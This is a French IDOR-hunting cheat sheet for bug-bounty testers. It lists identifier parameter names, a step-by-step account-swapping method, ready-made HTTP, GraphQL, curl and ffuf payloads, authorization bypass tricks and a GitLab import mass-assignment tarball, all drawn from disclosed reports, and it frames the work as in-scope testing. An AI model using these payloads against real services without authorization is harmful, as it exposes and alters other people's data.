IDORIntermediate18 min read2026-08-14
LANG:EN|FR

Kit de Chasse IDOR

Tous les noms de paramètres, séquences de sondage, contournements et voies d'escalade pour dénicher les failles d'autorisation — 250 rapports HackerOne divulgués distillés en une fiche à garder ouverte pendant vos tests.

LA RECHERCHE DERRIÈRE CE KIT
Ce kit condense les techniques observées dans 250 rapports divulgués. Lire l'analyse complète
#IDOR#Charges Utiles#Liste de Contrôle#Autorisation#GraphQL#Sécurité API#Méthodologie

Où ça se cache

NOMS DE PARAMÈTRES — À TRAQUER DANS VOTRE SITEMAP BURP

# Identité et compte
id  uid  user  user_id  userId  userid  account_id  accountId  member_id
profile_id  customer_id  client_id  owner_id  actor_id  subject_id  person_id
employee_id  student_id  patient_id  contact_id  lead_id  guest_id

# Cloisonnement et périmètre — les plus payants, ils franchissent les frontières d'organisation
org_id  organization_id  tenant_id  workspace_id  team_id  group_id  company_id
project_id  shop_id  store_id  site_id  app_id  namespace_id  realm_id  env_id

# Commerce et argent
order_id  booking_id  reservation_id  cart_id  transaction_id  payment_id
invoice_id  receipt_id  subscription_id  voucher_id  coupon_id  refund_id
payout_id  card_id  bank_account_id  wallet_id  billing_id  quote_id

# Documents et médias
doc_id  document_id  file_id  fileId  attachment_id  media_id  asset_id
image_id  photo_id  video_id  export_id  report_id  download_id  key  path

# Communication et flux de travail
message_id  thread_id  conversation_id  chat_id  comment_id  note_id  post_id
ticket_id  case_id  issue_id  request_id  task_id  event_id  notification_id

# Identifiants et droits — sévérité élevée dès qu'ils sont modifiables
token_id  session_id  api_key_id  credential_id  certification_id  license_id
badge_id  role_id  permission_id  invite_id  membership_id  device_id  webhook_id

# Identité par chaîne — un IDOR n'exige pas un entier
email  username  phone  msisdn  slug  handle  external_id  sub  upn  ref

SURFACES D'ENTRÉE — PAR OÙ TRANSITE L'IDENTIFIANT

# 1. Segment de chemin        GET /api/v1/bookings/8847
# 2. Chaîne de requête        GET /Download.aspx?id=4675
# 3. Corps JSON               {"booking_id": 8847, "email": "victim@domain.tld"}
# 4. Corps de formulaire      booking_id=8847&action=cancel
# 5. En-têtes personnalisés   X-User-Id / X-Account-Id / X-Tenant-Id / X-Org-Id
#                             X-Customer-Id / X-Impersonate-User / X-Forwarded-User
#                             X-On-Behalf-Of / X-Actor-Id / Referer (le périmètre fuite ici)
# 6. Cookies                  account_id=8847; last_org=42; selected_tenant=acme
# 7. Variables GraphQL        {"ids": ["VICTIM_SNAP_ID"], "storyType": "SPOTLIGHT_STORY"}
# 8. Nom de fichier multipart Content-Disposition: name="file"; filename="../8848.pdf"
# 9. Claims JWT / session     décodez-le — le serveur FAIT SOUVENT CONFIANCE à sub, uid, tid, org
# 10. Trames WebSocket        {"op":"subscribe","channel":"orders:8848"}
# 11. Archives d'import       project.json dans un tarball → "issue_ids": [27422144]
# 12. Blob signé/opaque       base64, hex, protobuf — décodez avant de le croire inoffensif

La marche à suivre

DU PREMIER SONDAGE À L'IMPACT CONFIRMÉ

ÉTAPE 1 : CRÉEZ TROIS COMPTES

À faire : Les comptes A et B au même niveau de privilèges, le compte C dans une autre organisation. Des profils de navigateur ou des conteneurs séparés, pour que les sessions ne se mélangent jamais.
Outil : Firefox Multi-Account Containers, ou deux navigateurs derrière Burp sur 127.0.0.1:8080.
Signal positif : Rien pour l'instant — mais vous disposez désormais de deux identifiants valides à permuter. Sans cette étape, aucune trouvaille ne sera démontrable.

ÉTAPE 2 : PARCOUREZ A, PUIS RÉCOLTEZ TOUS LES IDENTIFIANTS

À faire : Actionnez chaque fonctionnalité en tant que A — créer, modifier, partager, exporter, supprimer. Puis fouillez l'historique du proxy à la recherche des valeurs numériques et opaques.
Outil : Export du sitemap Burp, puis grep -oE '"[a-z_]_?id"\s:\s*"?[A-Za-z0-9=_-]+'. GAP ou Param Miner pour les paramètres cachés.
Signal positif : Une liste de paramètres d'identifiant avec les vraies valeurs de A, et le format de l'identifiant — entier séquentiel, UUID, base64, ObjectId.

ÉTAPE 3 : LA PERMUTATION — LA SESSION DE A, L'OBJET DE B

À faire : Rejouez chaque requête avec le cookie ou le bearer de A et l'identifiant de B. Ne changez qu'une chose à la fois.
Outil : Burp Repeater à la main ; Autorize ou AuthMatrix pour l'automatiser sur l'ensemble du sitemap.
Signal positif : Un HTTP 200 contenant les données de B — pas un 403, pas un objet vide, pas la fiche de A renvoyée en écho. Comparez les deux réponses avant d'y croire.

ÉTAPE 4 : ESSAYEZ TOUS LES VERBES, PAS SEULEMENT GET

À faire : Pour chaque endpoint en lecture, tentez PUT, PATCH, DELETE et POST sur l'identifiant de B. L'autorisation est souvent implémentée gestionnaire par gestionnaire : le chemin de lecture peut être protégé alors que le chemin d'écriture est grand ouvert.
Outil : Repeater. Envoyez le DELETE sur un objet jetable que vous avez créé sur le compte B, jamais sur un utilisateur réel.
Signal positif : Un 200/204, et l'objet réellement disparu ou modifié lorsque vous revérifiez en tant que B. C'est l'accès en écriture qui rapporte les primes à quatre et cinq chiffres.

ÉTAPE 5 : RETIREZ CARRÉMENT LA SESSION

À faire : Renvoyez la requête gagnante après avoir supprimé les en-têtes Cookie et Authorization.
Outil : curl sans authentification, ou Repeater avec l'en-tête effacé.
Signal positif : Les données reviennent sans le moindre secret d'authentification. Un IDOR ordinaire devient alors une exposition non authentifiée, ce qui lui fait généralement gagner un cran de sévérité entier.

ÉTAPE 6 : VISEZ LES SURFACES QUE LES DÉVELOPPEURS OUBLIENT

À faire : Les mutations GraphQL, les chaînes d'import/export, les endpoints de recherche et de filtrage, les webhooks, les outils d'administration et internes, ainsi que les anciennes versions d'API (/v1/ quand l'application web appelle /v2/).
Outil : L'introspection GraphQL, ou Clairvoyance lorsqu'elle est désactivée ; jadx / apktool sur l'APK mobile pour retrouver les routes que le client web n'appelle jamais.
Signal positif : Une route absente de l'application web mais qui répond quand même. Le rapport Bykea #3085742 est né exactement de là — un endpoint zombie codé en dur, repéré dans l'application Android.

ÉTAPE 7 : MESUREZ LE PÉRIMÈTRE D'IMPACT — PUIS ARRÊTEZ-VOUS

À faire : Démontrez que la victime est quelconque, et non un coup de chance. Cinq à dix identifiants répartis sur une large plage suffisent. Ne videz pas la base de données.
Outil : Burp Intruder / Turbo Intruder, ou ffuf avec un -rate faible.
Signal positif : Des objets distincts appartenant à des tiers distincts. Notez leur nombre et l'amplitude des identifiants, puis arrêtez-vous et rédigez le rapport.

Aide-mémoire des charges utiles

1. LA PERMUTATION DE BASE

# Référence — votre propre objet. Gardez cette réponse, elle sert de comparaison.
GET /api/v1/bookings/8847 HTTP/1.1
Authorization: Bearer A_TOKEN

# Le sondage — un seul caractère modifié.
GET /api/v1/bookings/8848 HTTP/1.1
Authorization: Bearer A_TOKEN
# SIGNAL POSITIF : 200 + un nom, un téléphone, une adresse qui ne sont pas les vôtres.

# Parcourez la plage dans les deux sens. Les identifiants les plus bas sont les
# plus anciens : souvent des comptes de test internes ou du personnel, plus riches.
GET /api/v1/bookings/1     HTTP/1.1
GET /api/v1/bookings/8846  HTTP/1.1

# Identité par chaîne — la session est valide, l'action vise quelqu'un d'autre.
# Mozilla FxA n'a jamais vérifié que la session possédait le compte supprimé.
POST /v1/account/destroy HTTP/1.1
Host: api.accounts.firefox.com
Authorization: Bearer A_SESSION_TOKEN
Content-Type: application/json

{"email":"victim@domain.tld","authPW":"42b4c2940fe2efecce851a2d8e9754d0f1cb1d37"}

2. GRAPHQL

# L'introspection d'abord — listez chaque mutation, cherchez delete*/update*/remove*
{__schema{mutationType{fields{name args{name type{name ofType{name}}}}}}}

# La propriété n'est généralement vérifiée que sur le champ racine. Atteignez
# l'objet par une arête parente et le contrôle n'est jamais évalué.
query { organization(id:"OWN_ORG") { members { privateEmail phone } } }

# Regroupement par alias — plusieurs objets par requête HTTP, ce qui déjoue la
# limitation de débit et prouve l'accès arbitraire en une seule capture d'écran.
query {
  a: user(id:1235){ email phone }
  b: user(id:1236){ email phone }
  c: user(id:1237){ email phone }
}

# Chemin d'écriture. Le deleteStorySnaps de Snapchat acceptait un tableau ids
# sans validation de propriété — interceptez votre suppression, changez l'id.
mutation DeleteStorySnaps($ids:[String!]!, $storyType:StoryType!) {
  deleteStorySnaps(ids:$ids, storyType:$storyType)
}
# variables: {"ids":["VICTIM_SNAP_ID"],"storyType":"SPOTLIGHT_STORY"}

3. DÉCODEZ AVANT DE RENONCER FACE AUX IDENTIFIANTS « OPAQUES »

# Enveloppe base64 — extrêmement courante, et réencodable sans le moindre effort
echo 'eyJ1c2VyX2lkIjoxMjM0fQ==' | base64 -d      # {"user_id": 1234}
echo -n '{"user_id": 1235}' | base64             # forgez le voisin

# Les identifiants globaux GraphQL Relay sont le base64 de "Type:pk"
echo 'VXNlcjoxMjM0' | base64 -d                  # User:1234
echo -n 'User:1235' | base64                     # VXNlcjoxMjM1

# hexadécimal / décimal
printf '%d\n' 0x4D2                              # 1234

# ObjectId MongoDB : horodatage sur 4 octets + aléa sur 5 octets + compteur sur 3 octets.
# Le compteur final s'incrémente à chaque insertion — les voisins se devinent.
# 65f1a2b3 c4d5e6f7a8b9 0001  ->  ...0002 est le document suivant

# UUIDv1 embarque un horodatage et une adresse MAC — pas aléatoire, prévisible
# sur une fenêtre donnée. UUIDv4 est aléatoire ; cherchez plutôt où il FUITE
# (résultats de recherche, endpoints de listage, messages d'erreur, pieds d'e-mails).

4. ÉNUMÉRATION — RESTREINTE, LENTE, DOCUMENTÉE

# Dix identifiants, c'est une preuve. Dix mille, c'est un rapport d'incident à votre nom.
seq 8840 8850 > ids.txt

ffuf -w ids.txt:FUZZ \
     -u "$TARGET/api/v1/bookings/FUZZ" \
     -H "Authorization: Bearer $A_TOKEN" \
     -mc 200 -rate 5 -o idor.json

# Tri par taille de réponse : des tailles identiques trahissent une page d'erreur
# générique ; des tailles variables avec des 200 signalent de vrais enregistrements.
curl -s -H "Authorization: Bearer $A_TOKEN" \
     "$TARGET/api/v1/bookings/8848" | jq '{name,phone,address}'

# Téléchargements de fichiers séquentiels — le schéma du DoD, aucune table de propriété
for i in 4675 4676 4677; do
  curl -sI "$TARGET/Download.aspx?id=$i" | grep -i 'content-disposition'
done

5. CHAÎNES D'IMPORT — AFFECTATION EN MASSE DE CLÉS ÉTRANGÈRES

// project.json à l'intérieur du tarball téléversé. L'importeur appelait
// assign_attributes() sur ce hash, si bien que les tableaux *_ids rattachaient des
// objets appartenant à d'autres projets. Deux rapports GitLab à 20 000 $ en sont nés.
{
  "description": "attacker project",
  "issue_ids": [27422144],
  "issues": [],
  "merge_request_ids": [12345678],
  "merge_requests": [],
  "note_ids": [98765432],
  "board_ids": [11111]
}
tar -czf evil.tar.gz project.json
curl -X POST "$TARGET/api/v4/projects/import" \
     -H "PRIVATE-TOKEN: $A_TOKEN" \
     -F "path=stolen" -F "file=@evil.tar.gz"
# Parcourez ensuite votre nouveau projet — les issues d'autrui y apparaissent.

Contournements de filtres et de contrôles

| Technique | Charge utile | Pourquoi ça marche | |---|---|---| | Encapsuler l'identifiant dans un tableau | {"id":[1235]} | Le contrôle de propriété compare un scalaire ; le tableau fait échouer la comparaison, mais l'ORM le résout tout de même. | | Pollution de paramètres | ?id=1234&id=1235 | La passerelle ou le middleware lit la première occurrence, le framework applicatif lit la dernière. | | Dissocier le chemin et le corps | chemin /users/1234, corps {"user_id":1235} | Le middleware autorise le segment de chemin ; le gestionnaire, lui, fait confiance au corps de la requête. | | Changement de verbe | GETPUT / PATCH / DELETE | L'autorisation est déclarée gestionnaire par gestionnaire. Le chemin de lecture est relu, celui d'écriture ne l'est pas. | | Surcharge de méthode | POST + X-HTTP-Method-Override: DELETE | Les règles de routage qui refusent DELETE se fondent sur le verbe réel, pas sur l'en-tête de surcharge. | | Changement de Content-Type | application/jsonapplication/x-www-form-urlencoded ou XML | Une branche d'analyse alternative échappe au filtre attaché au désérialiseur JSON. | | Ajout d'une extension | /api/users/1235.json, .xml, / | L'expression régulière de la route ou du WAF, ancrée sur le chemin exact, ne correspond plus. | | Identifiants joker et nuls | id=*, id=0, id=-1, id=%00, id=null | La requête sans contrainte renvoie toutes les lignes, ou pointe vers un enregistrement système/admin créé à l'initialisation. | | Ancienne version d'API | /v1/ alors que le client appelle /v2/ | Le gestionnaire historique est antérieur au middleware d'autorisation et n'a jamais été mis hors service. | | Route mobile zombie | chaînes extraites de l'APK | Route retirée du client web mais toujours servie — Bykea #3085742. | | Clés étrangères par import | "issue_ids":[27422144] dans project.json | L'import en masse affecte les attributs en bloc et court-circuite les contrôles par objet de l'API — GitLab #743953, #767770. | | Identité dans le corps | {"email":"victim@domain.tld"} avec votre propre jeton | Le serveur authentifie la session, mais rattache l'action à l'identité fournie dans le corps — Mozilla #3154983. | | Ignorer l'interface masquée | envoyer le DELETE que le bouton n'affiche jamais | Le frontend cache le contrôle ; l'endpoint, lui, ne vérifie rien du tout — Snapchat #1819832. | | Identifiants de téléchargement séquentiels | Download.aspx?id=4676 | Les gestionnaires de fichiers servent souvent depuis une table de chemins dépourvue de colonne de propriété — DoD #1626508. | | Regroupement par alias GraphQL | a:user(id:1235){...} b:user(id:1236){...} | La limitation de débit et la journalisation comptent les requêtes HTTP, pas les champs résolus. | | Traversée imbriquée | atteindre l'objet par son arête parente | L'autorisation au niveau des champs ne s'applique qu'à la requête racine. |

L'échelle d'escalade

DE « J'AI VU UN ENREGISTREMENT » À UNE CRITIQUE

BARREAU 1 : CONFIRMEZ QUE C'EST DÉTERMINISTE

Reproduisez trois fois, dans une session propre, après une reconnexion. Les réponses en cache et les service workers périmés ont coulé quantité de rapports qui n'étaient en réalité pas des bugs.

BARREAU 2 : ÉLARGISSEZ LE VERBE — DE LA LECTURE À L'ÉCRITURE

Lire la fiche d'autrui relève de la sévérité Moyenne. La modifier ou la supprimer relève de la sévérité Élevée. Toutes les primes marquantes du jeu de données — GitLab, Snapchat, Mozilla — portaient sur une écriture ou une suppression, jamais sur une lecture.

BARREAU 3 : ÉLARGISSEZ LA POPULATION

Une victime, c'est une anecdote ; des victimes quelconques, c'est une vulnérabilité. Montrez que l'identifiant n'est ni borné ni imprévisible — séquentiel, ou divulgué à un endroit que vous pouvez désigner. « N'importe quel utilisateur », c'est la formule que le triage attend.

BARREAU 4 : ÉLARGISSEZ LA CLASSE DE DONNÉES

Recensez les champs que vous récupérez réellement. Numéros de téléphone, adresses postales, pièces d'identité, moyens de paiement, clés d'API et secrets CI/CD font chacun bouger la sévérité indépendamment. Nommez explicitement les catégories réglementées — données personnelles (PII), données de paiement (PCI), données de santé (PHI).

BARREAU 5 : FRANCHISSEZ LA FRONTIÈRE ENTRE ORGANISATIONS

Un IDOR d'utilisateur à utilisateur est une chose ; d'organisation à organisation, c'est un défaut de cloisonnement multi-tenant, évalué à l'aune de la promesse de sécurité fondamentale du produit. C'est pour cela que org_id, shop_id et tenant_id valent bien plus que user_id.

BARREAU 6 : ENCHAÎNEZ-LE

Un premier IDOR divulgue les identifiants qu'un second consomme. Ajoutez-y une faiblesse d'authentification et vous obtenez une prise de contrôle de compte. Le rapport Uber #1145428 a enchaîné trois bugs pour aboutir à des débits arbitraires sur n'importe quelle carte professionnelle.

BARREAU 7 : METTEZ UN CHIFFRE DESSUS

Traduisez l'accès en conséquences : combien d'enregistrements, quels champs, et ce qu'un concurrent ou un fraudeur en ferait. L'écart entre la moyenne des Faibles (560 $) et celle des Critiques (14 333 $) du jeu de données tient presque entièrement à ce barreau.

Notes de rédaction du rapport

CE QUI EMPÊCHE LE TRIAGE DE VOUS DÉCLASSER

1. Décrivez d'abord la configuration des comptes. « Compte A (attaquant, id 8847) et compte B (victime, id 8848), tous deux en offre gratuite, sans organisation commune. » L'ambiguïté sur ce point est de loin la première cause de clôture en Informative.
2. Collez les requêtes et les réponses brutes — en-têtes complets, les deux comptes, côte à côte. Une vidéo est un complément, jamais la preuve principale : personne ne peut copier une requête depuis un MP4.
3. Montrez au moins trois victimes distinctes. Cela coupe court à l'objection « vous n'avez prouvé qu'un cas particulier » avant même qu'elle ne soit formulée.
4. Énumérez nommément les champs divulgués. N'écrivez pas « données utilisateur » — écrivez « nom complet, numéro de mobile, adresse de livraison, coordonnées du trajet ».
5. Anticipez le « l'attaquant doit connaître l'identifiant ». Indiquez où les identifiants fuitent : attribution séquentielle, endpoints de listage, résultats de recherche, profils publics, pieds de page d'e-mails.
6. Anticipez le « l'utilisateur y avait déjà accès ». Démontrez que la donnée n'est atteignable ni par l'interface de B, ni par une quelconque fonction de partage.
7. Argumentez le vecteur CVSS, ne vous contentez pas de le coller. Justifiez C, I et A séparément — une primitive de suppression constitue un impact sur la disponibilité, et les chasseurs oublient régulièrement de la revendiquer.
8. Dites ce que vous n'avez pas fait. « Arrêt après 10 identifiants ; aucune donnée conservée ; objets de test créés sur mon propre compte. » La retenue passe pour du professionnalisme et vous protège.
9. Faites appel avec de nouvelles preuves, pas avec du volume. Le rapport Mozilla a d'abord été clos en Informative, puis rouvert en Élevé pour 6 000 $ dès lors que le chercheur a montré que les utilisateurs SSO partagent une empreinte de mot de passe déterministe. Un déclassement est une invitation à trouver le cas limite qui met à mal l'hypothèse du triage.

Impasses connues

ÇA RESSEMBLE À UN IDOR, ÇA NE RAPPORTE RIEN

Des identifiants prévisibles sans accès non autorisé. Les entiers séquentiels sont un défaut de conception, pas une trouvaille. Sans frontière franchie, la clôture en Informative est systématique.
Des données publiques par conception. Profils publics, dépôts publics, annonces publiées, documents accessibles par lien de partage. Vérifiez ce qu'un visiteur anonyme voit déjà avant de signaler quoi que ce soit.
Des URL-capacités indevinables. Un lien de partage aléatoire de 128 bits constitue à lui seul l'autorisation. À moins de démontrer qu'il fuite par un Referer, un journal ou un index de moteur de recherche, l'absence d'authentification sur l'URL relève de la conception.
Un 403 dont la taille ou le temps de réponse diffère. Les oracles d'existence sont au mieux de sévérité Faible, et le plus souvent Informative, sauf si vous parvenez à en extraire du contenu réel.
Un accès qui vous a été accordé. Les rôles d'administrateur, de modérateur, de propriétaire d'espace de travail et de support sont censés atteindre les objets des autres utilisateurs. Vérifiez la frontière de rôle avant d'affirmer qu'elle a été franchie.
L'énumération d'utilisateurs et d'adresses e-mail à l'inscription ou à la réinitialisation de mot de passe. Régulièrement classée hors périmètre. C'est un élément à l'appui d'un vrai IDOR, pas un rapport à part entière.
Vos propres données dans votre propre export. Un export CSV ou PDF contenant vos identifiants n'est pas une fuite.
L'absence de limitation de débit sur un endpoint correctement autorisé. C'est une classe distincte, généralement peu valorisée — n'essayez pas de la déguiser en IDOR.
Des objets supprimés ou expirés qui renvoient 404 au lieu de 403. Presque jamais accepté, et cela entame votre crédibilité pour le rapport suivant.
! Attendez-vous à ne rien toucher sur une bonne part des trouvailles valides. Dans le jeu de données de 250 rapports, 82 % n'ont donné lieu à aucune prime — les programmes gouvernementaux et les VDP sans récompense en constituent l'essentiel. Lisez la politique du programme avant d'y investir un week-end.

NE TESTEZ QUE CE QUE VOUS ÊTES AUTORISÉ À TESTER. Utilisez autant que possible des comptes que vous contrôlez comme victimes, cessez l'énumération dès que l'accès est prouvé, et ne conservez rien. Chaque technique de cette page est documentée pour un usage à l'intérieur du périmètre d'un programme.

[SHARE_THIS_POST]
Help spread knowledge in the cybersecurity community